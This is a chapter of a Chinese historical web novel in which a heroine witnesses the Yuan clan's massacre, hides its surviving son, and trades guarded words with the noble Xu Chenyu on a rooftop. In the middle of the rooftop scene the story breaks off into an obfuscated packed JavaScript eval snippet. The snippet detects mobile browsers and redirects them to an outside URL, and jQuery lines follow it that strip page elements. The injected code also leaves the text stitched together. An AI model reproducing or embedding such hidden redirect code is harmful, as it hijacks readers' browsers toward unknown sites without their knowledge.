“这以听风品茶出名的梵音楼,怎么今日多了这么些异徒?”大街上,人来人往的摊贩望着眼前突发的景象,窃窃私语。
卖瓜的老妇沉默地吃了口自己的烂瓜,“呸”一声吐在地上,擦了擦口水,轻蔑地道:“梵音楼?京都最大的妓坊?坏了也好,省的折寿,亡那些女子的命,也牵连我们的命。”
“那可是太子殿下的楼,老媪慎言。”身边年轻俏丽的女子扎着头巾,有些忌惮地看着周围。吕婆婆直言不讳是好,可这也太只言不会管整条街人们的死活了吧。
“女有梵音,金有见才,怪不得京城是大人物爱久呆的地方。”女子含糊地骂了两句,“怎么不见菜价涨得上去。”
元安街上不仅有各大家族外出采买丫鬟带来第一手的消息,更是对各类奇巧玩意儿爱不释手。陆谦悦瞧了两眼,最后走进了“见才”。
“见才”是个铺子,且是个一等一的大当铺。陆谦悦用头上的钗换了银钱,买身衣服,坐在街边的摊前,毫不在乎满桌油腻的污垢和破损的茶盏,点了碗面慢慢吃起来。
自己关于陆青意的记忆太少,至于和唐沐璟一起被困在梵音楼的原因更是难以琢磨清楚,唯一的好消息就是要找的人不需要自己花费精力去人海里寻找。
身边不知什么时候多了个孩子,被打扮地金贵漂亮,正定定的看着自己:“但你头上那只三尾长羽花鸟点金钗,我可认识。正是我画的,让匠工赶出来的时兴款。”
热气腾腾的茶水放在了两人面前,但两人均没有动手,小二利落地拿起滚烫的壶柄,将面前的杯子灌满,油雾从水面上升腾起来。
“滚开——都滚开——”粗野凶狠的鞭声响亮刺耳,打上了挡路的人们。
“急令,旁人速速退让——”
“走,瞧瞧去。也要看看世家那帮臭驴的丑样。”两位力夫摸了摸唇角的油水,起身拥了过去。
飞驰的马匹,后面有一辆奢华的马车,再后面是接连不断的囚车。
打头的举着红色旗帜的士兵,后面是满脸鞥肉的打手,身材臃肿庞大,异于常人。车架上的人,陆谦悦瞳孔骤缩,是曾经站在陆家宣旨的太监。
他仍站在权利的顶峰,傲然凶恶,身旁是负责此案的官员,微微躬身,站在后方。
金贵的孩子挑眉询问:“你知道我是谁吗?”这金尊玉贵的小子,也是个不缺钱的主儿,怎么突然跑到自己身边,真的仅仅因为一个簪子?
“你大抵是,某个大家族的孩子吧?”肚子渐渐充实了,陆谦悦才有些兴趣地打量着面前不怕生的孩子。
庞然的队伍直到离去,扬起的尘土落在了陆谦悦的茶盏中,他才得意地开口:“我是元家三子,元青朗。我父亲曾是当今圣上的伴读,现在经营着所有商贾漕运,去年我们还和陛下一起吃了年夜饭,他夸我长高了,也俊俏了许多。”
眉目清秀稚嫩,有着还未长开的少年意气:“陛下还说,等我过了十五岁,就可以封我做巡抚,掌管一方民生。”
元家的,陆谦悦想起来了,当年陆家灭族的时候,元家曾经冒命救下了不到十个月的四妹妹。
“呐,这个是我的珠冠上最大的三颗,是舅舅替我从东海寻过来的。今天和姐姐你有缘,就送给你吧。”
三颗东海珍珠需要元青朗两只手捧起来,才能勉强兜住。
“这不是巧了,你应当认识我的,元家弟弟。”一杯带着尘土的杯子递给元青朗面前,接过了那三颗珠子,对方笑着点点头,没有嫌弃里面的脏污,“你身边侍奉的人呢?”
“嘿嘿,我偷跑出来的,总觉得府里头闷得很,今日母亲父亲,婶婶和舅舅他们都来了,给我三岁的弟弟庆生,没人管我呢。”
庞大的队伍兜兜转转,威吓吓人的囚车有意绕路,在所有世家大门的面前晃悠了一整圈,任由马儿不合时宜地在京城嘶鸣。
前头的传讯官声音洪亮,震慑着元泰街上所有的大家族:“元府弄权,误导太子,铸成大错,三族处死,其余贬为官奴,有违令者当场处置。”
顷刻间,红灯张彩,华贵富丽的大家族,四散崩溃。尽管衣着奢华,但急匆仓惶地出逃扔被抓了回去。半炷香的时间,按照名录,三代宗亲已经处死,沾染着亲人血的婴儿如有感应,嚎啕大哭,即刻失了呼吸。
恢弘气派的元府,瞬间沦为地狱的恶火,灼烧这府内害怕惊叫的仆人。
外头牌匾上仍然用了红色的绢布,里头暗红一片,元家当家主母吊死在主梁上,
“在此转个弯,就是我家宅子了。”小孩儿牵着陆谦悦的手,刚要转弯,却怎么也拉不动,疑惑地看着眼前的人。
元青朗松了手,直直跑向自己的家中。映入眼帘的只有门口鲜血纵横的大门,混乱不堪的仆妇,里屋还有母亲被圈住脖子,吊在梁上晃荡的身影。
突然而来的画面冲击这个十二岁的孩子,母亲苍白的脸色双目紧闭,一身奢华的紫云蚕丝长衣拖在地上。
一条长巾盖在头上,元青朗被凌空抱起,陆谦悦紧紧将这个孩子拢进了自己的怀里。外头突然来了几个巡逻的士兵,冲着陆谦悦的方向找过来。
一个仆妇看到了元青朗,为了躲过官兵故意跑出来吸引目光。
“是阿嬷”,元青朗只顾的瞪大双眼,眼见亲近的乳娘被对方扯开衣裳,目光绝望。从小小的门缝看到的样子,让他想要逃避,但脑袋却被身后的陆谦悦死死固定住。
“睁大眼睛看清楚,是谁杀的她,带着这种恨,你也要活下去。”
乳娘胸口插着一柄长剑,用含糊不清的口语:“小世子,快跑。”
自己掀开了元青朗头上的绸子,改用手捂住了对方的面孔,瞬间自己感觉到手掌湿润不堪。
“元青朗,现在不是哭泣的时候。你的名字一定在他们的名册上,现在我们得想办法让你换掉这身招眼的衣服。”幸好周边有些普通的人家。为掩人行迹,陆谦悦假装自己是逃荒的女人,求了件大人和小孩的衣服。
刚要走的时候,元青朗拉住了自己,一字一顿地说:“我想最后再拜父亲母亲一次。”
不久过后,茶摊旁边的凉棚又出现了一个女人和一个孩子,不过两人都格外脏污潦草,确实和逃荒的一般无二。不过那孩子眼眶红红,埋在女人的怀里,似是受了天大的委屈。
四方宽大的马车穿过了街巷,缓缓落在了陆谦悦的面前。车内小书童拉开门,稚气未脱,手脚并用从马车上爬下来。
人小鬼大的,用脆生生地语调说:“陆姑娘,我们家公子说,看姑娘形容疲惫,愿意搭姑娘额,以及小公子一程,一同去陆府。”
陆府?陆谦悦顿了顿,想起来,陆青意就是陆府出身,自己的确应该回府。
白色帷帘用密织的银色丝线镶嵌,在阳光下跃动闪烁。
修长的手,将帘子轻轻推开,紧接着露出了一张清秀挺立的侧脸。绿色的纱衣层层叠叠,薄而遗世,华而贵重。
他垂下眼,流出些许病色,悠悠缓缓地向陆谦悦点了个头。
周围的环境自己并不熟悉,大概推测,距离家中大概有十几里,在走回去把自己累死和上马车被别人杀死之间,陆青意恭敬地福了个礼:“多谢公子。”
马车上的木头是温热的,掀开帷帘更是自己想不到的热气,扑面而来,叫人不由自主地躲闪开。
折扇指了过来,伸向左侧的座位,上面复杂的工艺精致让陆谦悦眼前一亮。扇子取自上好的翡翠被整块雕琢,用玉石镶嵌,雕镂成一把触手生温的折扇。
“坐这里。”马车工艺极好,如履平地。在等自己坐下以后,那人淡淡一笑,视线略过元青朗的脸,集中在手里的书册上。
打量着半刻,在确定对方真的像顺手搭车的好心人,陆青意礼貌地询问:“感谢公子执手相救,不知公子姓甚名谁?”她的印象中没有这张脸。
还没等自己话音说完,旁边跪坐侍奉的奶娃娃忍不住开口,“哈哈,公子,她说不认识你。”
他可爱地捂嘴笑起来,左摇右晃,圆头圆脑,奶团子一个。
左侧大一些的孩子也收敛地笑着,不过礼貌地冲着地面浅笑,陆青意琢磨出几分不对劲,但看到都是孩子,便陪着淡淡笑起来。
“无妨,陆小姐,在下许沉裕。对了,我这里有些糕点,你和身边的孩子要不要尝尝鲜?”他的目光从书本上转移过去,连忙跟着介绍自己
白玉瓷盘光泽圆润,体型通透流畅,上面的糕点五颜六色,雕刻成一副红莲戏水,鱼跃莲塘的样式。
无论是从做工,还是从味道,都无可挑剔。陆青意已经被饿了三日,说了声谢谢,拿起一个咬了一小口。
对方熟稔地往自己面前推了一杯茶盏,轻声笑:“喝点茶水。”
陆谦悦连连点头:“你这糕点确实好吃。”
许沉裕合上扇子,半是依靠在身后的腰靠上,半是低头看着手上的书简:“自己厨房做的,姑娘若是喜欢,我隔几日便叫人送来一份,给姑娘尝尝鲜。”
马车一停,熟悉的陆府,古旧的木门,锈蚀的圆环,陆谦悦心里安定几分,又焦躁几分。
下了马车,自己才发现许沉裕的腿脚不好,走得很慢,左手还拄着拐杖,左脚跛着。她和许沉裕保持着相同的频率,直率地说:“你可以扶着我。”
拄拐杖的手一顿,主人转而冲着自己淡淡一笑。于自己而言,刚接触没多久的许沉裕就像山水画,沉着淡雅的兰花,脆弱神圣又高不可攀,冰冷孤傲又平易近人。
许沉裕声音温柔礼貌,又透着被折腾许久无法脱身的无奈:“算了,男女授受不亲。姑娘为我的名节考虑些吧。”
自己一时间,分不清面前冲着自己疏离一笑的人是真,还是刚刚在马车内请自己吃糕点的人是真。
元青朗被自己藏在了卧房里。许沉裕去见自己的父亲,而她,直到她跪了大半个时辰像一个陆府的游魂,父亲才冲她斥责“面貌粗鄙,何以见人”,让她退下了。
是啊,这几天,陆府甚至都没有人发现自己失踪了,而自己的贴身丫鬟,陆谦悦猛然从床前惊坐起,丫鬟们的人呢?
四处询问,一连拦了好几个行走的仆妇,都说不知道。“说是春日宴,各个主子的丫鬟都被抽调去帮忙了,红胭和红黛也去了。”这还是隔壁二妹陆青染的丫鬟布儿告诉自己的。
侧房里面元青朗一直咬牙憋着,直到房间里才肯捂着被子大声哭了出来。此刻已经含着泪睡过去,睫毛上挂着泪水。陆谦悦照顾完孩子,实在困得不行,草草收拾了几下就和衣而睡了
一觉到了傍晚,外头吵得很,桌上只有些许凉水,以及新换的糕点。
看来红胭和红黛来过了,又匆忙地被叫走。
房间里的浴桶用毛巾盖着,维持着温度。
两个大丫鬟不在,也没人束着自己,她快速洗了个澡,溜出去从后厨捞了两壶红玉香,爬到了屋顶上慢慢悠悠地喝了起来。
屋顶偏高,可以一览整个府内的情况。
大堂和花园现在亮如白昼,来来往往的下人疯狂地往里面送东西。
大夫人的院子里特别安静,许是已经睡着了。
二夫人的院子还吵得很,大抵是纵着文意和小猫玩耍。
父亲的院子侧院光线明亮,从窗户的影子来看,一共有三个人。
红玉香一开盖,浓浓的窖香和腊梅香涌进了鼻尖和大脑,陆谦悦抄起一瓶,单手撑着瓦片,另一只手拿起酒瓶,轻轻地抿了一口。
明亮的清辉照耀在整个大地上,世界陷入了安静。无论是古代还是现代,夜晚是人们的休憩所,更是灵魂的贮藏所。
“嘎吱——”父亲的院门打开,一抹金线混编的银白色身影从门口走出来。他与父亲短暂交谈了会儿,父亲俯身作揖,极为恭敬。
银白色的身影走了几步,抬头看过去。
她和之前不一样了,许沉裕心想,她绝对不会大半夜坐在屋檐上,更不会看到自己无动于衷,从上而下冷漠淡然地俯视自己。
清辉温润的月光下,陆谦悦的眼神迷醉朦胧,支着头,翘着二郎腿。云纱笼罩的裙边,露出了一截白皙柔曼的皮肤,在明灭可见的月光下,勾摄魂魄。
她这个样子,倒是,比之前浓妆艳抹地多了几分清丽自然之姿,耐看了许多。
怀里的酒水还没喝上几口,眼帘下已经鬼魅似的站着一个男人。他在堂中,高声问:“姑娘,乘月同行,可否请在下上去坐坐?”
许沉裕身上的衣服用了特殊的针脚,整个人在月光下宛如朦胧初见的星月。微风浮动,一股浓烈的暖香从下面传过来。
屋顶上的女子潇洒地伸出左手,示意对方从右侧的梯子上上来。
身后的侍从还想阻止,许沉裕已经脱下厚重的披风,顺着竹梯气喘吁吁地上来。
“许大人舟车劳顿,怎么有兴致同我一起看月亮?”陆谦顺势给了对方一坛红玉香。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632462|172583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身后的仆人立刻送上杯盏,被他挡开了。接过酒,许沉裕嗅了一口,惊讶地说:“红玉香,倒是极少有女子爱喝,”他颇有兴致地学着陆谦悦灌了一大口,发出了低低的咳嗽,显现出少有的窘态,“果真是烈。”
拿起红玉香的酒瓶,陆谦悦回忆当时厨娘手里也抱着一罐,自己认为无毒,所以才拿了:“这酒烈,我当时在厨房拿的时候,它被放在了酒窖最下一层,可见是陆府少有人喝?”
对方单手举起酒,细长的手指抬起,另一侧包裹住瓶身,礼貌地抱住瓶身,遮挡瓶口,低头回礼。
“红玉香是丧酒。”许沉裕低下头,望着怀里的瓶子,“常常是为了祭奠亡人才用的。”
半是醉意地陆谦悦清醒过来,亡人,自己难道不算是吗?
许沉裕看向已经和两周前相见完全不同的人,用扇柄轻敲酒坛,沉吟了几秒:“青意,春日宴不要再像前几次那样荒唐了,陆宅最近并不安稳。”
“春日宴?”自己好像有印象,但又不准确,“很大吗?”
身边的声音温润呢喃,阵阵药香传了过来:“不过是招揽些意趣相同的人,无甚大同。”
“招揽,还是笼络?”陆谦悦的声音泠冽,在寒冷的冬天格外清楚明晰。
她真的变了,以往最爱在春日宴上闹腾的,怎么现在突然这么清醒,甚至比陆大人还要清醒——许沉裕挑眉:“陆大人现在正受圣上重视,加上陆家又是累世世家,帮助当今圣上平了兄弟篡息的大事,特封正三品翰林学士。”
“现今朝中大臣一大部分都经过陆大人指点,只要在春日宴上露头的新科进士,将来必是朝中重臣。所以,陆侯又有陆师之称。”
“所以,我父亲开了个私家学堂?”
听了许沉裕的话,身边的女子垂下眼睫,微微靠在身后的位置上,眼尾带着劳累的疲惫,周遭散发出一种沉稳的气场,就某一刻叫许沉裕也有些接不住的气势:“我以为,你上来就会质问我。”
对方嘴角仰起,露出洁白的牙齿,笑眯眯地研究手里的酒:“京都关系错乱,梁王年迈,新王异动。梵音楼也好,春日宴也好,看上去是你主动踏入的梵音楼,说不定旁人为了让你踏进去早就筹谋殆尽了。”他仰起手里的酒壶,在清辉下有着异常明亮的情绪。
屋顶上的空气微凉,倒能平胸膛间无名的闷火。红玉香入口醇厚尾调辛辣,酒过半旬,才知离人苦痛,穿肠难抑。
“只是,你现在将整个京都都喊打喊杀的元家小子留在身边,恐怕会惹大祸。”许沉裕侧靠在屋檐上,翩如谪仙,清秀飘逸。
喝得还剩小半盅的时候,陆谦悦将酒坛倾倒,任由里面的酒水碎珠迸溅在地面上:“你也认得他。”
原本黑暗暗淡的星空,一瞬间有颗红色的发光物从远处划过天空。紧接着,接二连三的星星闪烁着光芒,从远处翻飞过来。
两人目光熠熠,一瞬间被天空异象吸引。
“流星”
许沉裕仰头,冷暖交错的光芒看不清他的思绪,唯有声音在耳畔:“许个愿吧,但愿接下来只有我认得他。”
身边的人倏然起身,衣袂扫落一地星芒,眸光如惋惜朦胧,只留下破碎的话语随风而至。
"真可惜,这里的流星与明月,应当认我不出。"
呆在下面等待许沉裕的下人试探地小声回禀:“公子,派去灭杀梵音楼的人只回来一个,老板杜娘被另一伙人抓走,下落不知。”
就在这一堵墙后不到两米的距离,无人踏足的陆府后门,此刻三人简装出行,停留在陆府小门口。为首者正是前三日和陆青意一起关起来的男人。
此刻他意气风发,精神昂扬,丝毫没有早上的虚弱无奈。
陌生女子蓬头垢面,冲出来指使一伙儿毁了梵音楼的传闻已经被脚夫传遍了大街小巷。梵音楼被毁的消息也流水般地送入了各家宅院
“主人,我们还找陆姑娘吗?”肃远蓄势待发,时刻准备跳上去一刀捅死许沉裕,顺便带走陆青意的意志格外明显。
那人旋即搭弓射箭,冲着天空某个特定的位置,绷紧肌肉,用尽全力,射出一箭。
“走什么走,哪有男人,大晚上去找女孩,还专门半夜和人家喝酒的,不成体统。”那人调转马头,“回去。”
陆谦悦离去的背影,身后马蹄声消陨,许沉裕也学着陆谦悦的动作,将最后的大半盅都浇落在地上,低声说:“最后一杯,敬亡人。”
“嗖——”一支凌厉的箭羽如木三分,可见主人下了力气。黑色的鬃羽气派非凡,上面镶着金边,奢侈异常。这只羽毛黑箭就在陆谦悦的脚边,要是再歪几公分,估计就能正中自己的脚心。
插在箭羽上的信息很明显:明日
吹得凉了,陆谦悦将小小的纸条攥紧手里,迈着虚浮的脚步,辨别回家的路。直到回到房间里,陆谦悦面容镇定从容,丝毫没有醉意。
还没等她坐定,某个角落里出现的身影忽然冲向了自己,带着惊喜的哭腔:“小姐!小姐!可吓死红胭了!”
“大夫人不允许人私自夜晚出院,自从小姐不见以后,红胭日日都去和大夫人报告。那些成日只知道偷奸耍滑的臭娘们懒惰又不肯帮忙,红胭碍着仆人的戒律无法私自出去,只好日日一个人抱着厚厚的披风偷偷地在门角盯着。”
“幸好小姐回来了!”
两人的主仆情深还没开始,就结束了。
大娘子身边的主使丫头翠元闹了起来,目光炯炯地不知道从哪个角落里面跳出来,扯出嗓子大喊:“奉大太太的令,大小姐深夜不归,言行无状,即刻关进暗房!”
一众膀大腰宽的仆妇掀开了红胭,压着陆青意,丝毫不给对方任何辩解的机会:“你们干什么?信不信我深夜把一众房里头的人都吵醒,看看到底是谁对,是谁错?”
厚实腥臭的帕子被塞进了红胭的嘴里,扑面而来的就是黑色冰凉的暗室。红胭紧张地连忙抱紧了陆青意,对方身上的披风在无意中被扯掉了,如今正是透出来巨大的凉意。
房间的一角有些干草,聊胜于无,上面几只体型庞大的老鼠正肆无忌惮地休憩。
暗室里有一种透骨的冷意,侵蚀着两人。
陆谦悦盘腿靠在墙边,闭着眼假寐。
不明不白的唐沐璟,莫名其妙出现的许沉裕,以及父亲所谓的春日宴,就像是扑朔迷离的拼图四角。
“咦,小姐,您瞧,那里是不是也躺了个人?”